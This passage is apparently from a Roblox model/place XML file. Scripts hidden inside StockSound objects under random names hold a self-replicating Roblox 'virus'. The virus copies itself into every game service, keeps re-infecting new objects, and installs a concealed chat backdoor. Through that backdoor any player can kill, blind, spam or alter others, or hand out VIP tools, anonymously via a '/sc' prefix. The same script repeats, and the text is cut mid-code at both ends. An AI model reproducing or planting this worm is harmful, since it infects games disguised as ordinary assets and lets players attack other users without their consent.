sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Humanoid" referent="RBX249">
					<Properties>
						<float name="Health">100</float>
						<bool name="Jump">false</bool>
						<float name="MaxHealth">100</float>
						<string name="Name">Humanoid</string>
						<bool name="Sit">false</bool>
						<bool name="Strafe">false</bool>
						<Vector3 name="TargetPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<Vector3 name="WalkDirection">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="WalkRotationalVelocity">0</float>
						<float name="WalkSpeed">16</float>
						<Ref name="WalkToPart">null</Ref>
						<Vector3 name="WalkToPoint">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="StockSound" referent="RBX250">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">v2p30esaa</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX251">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">m6q1bway</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="StockSound" referent="RBX252">
					<Properties>
						<bool name="Looped">false</bool>
						<string name="Name">1j62htbs</string>
						<int name="PlayCount">-1</int>
						<bool name="PlayOnRemove">false</bool>
						<Content name="SoundId"><null></null></Content>
						<float name="Volume">0.5</float>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Script" referent="RBX253">
						<Properties>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">za0t652k</string>
							<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
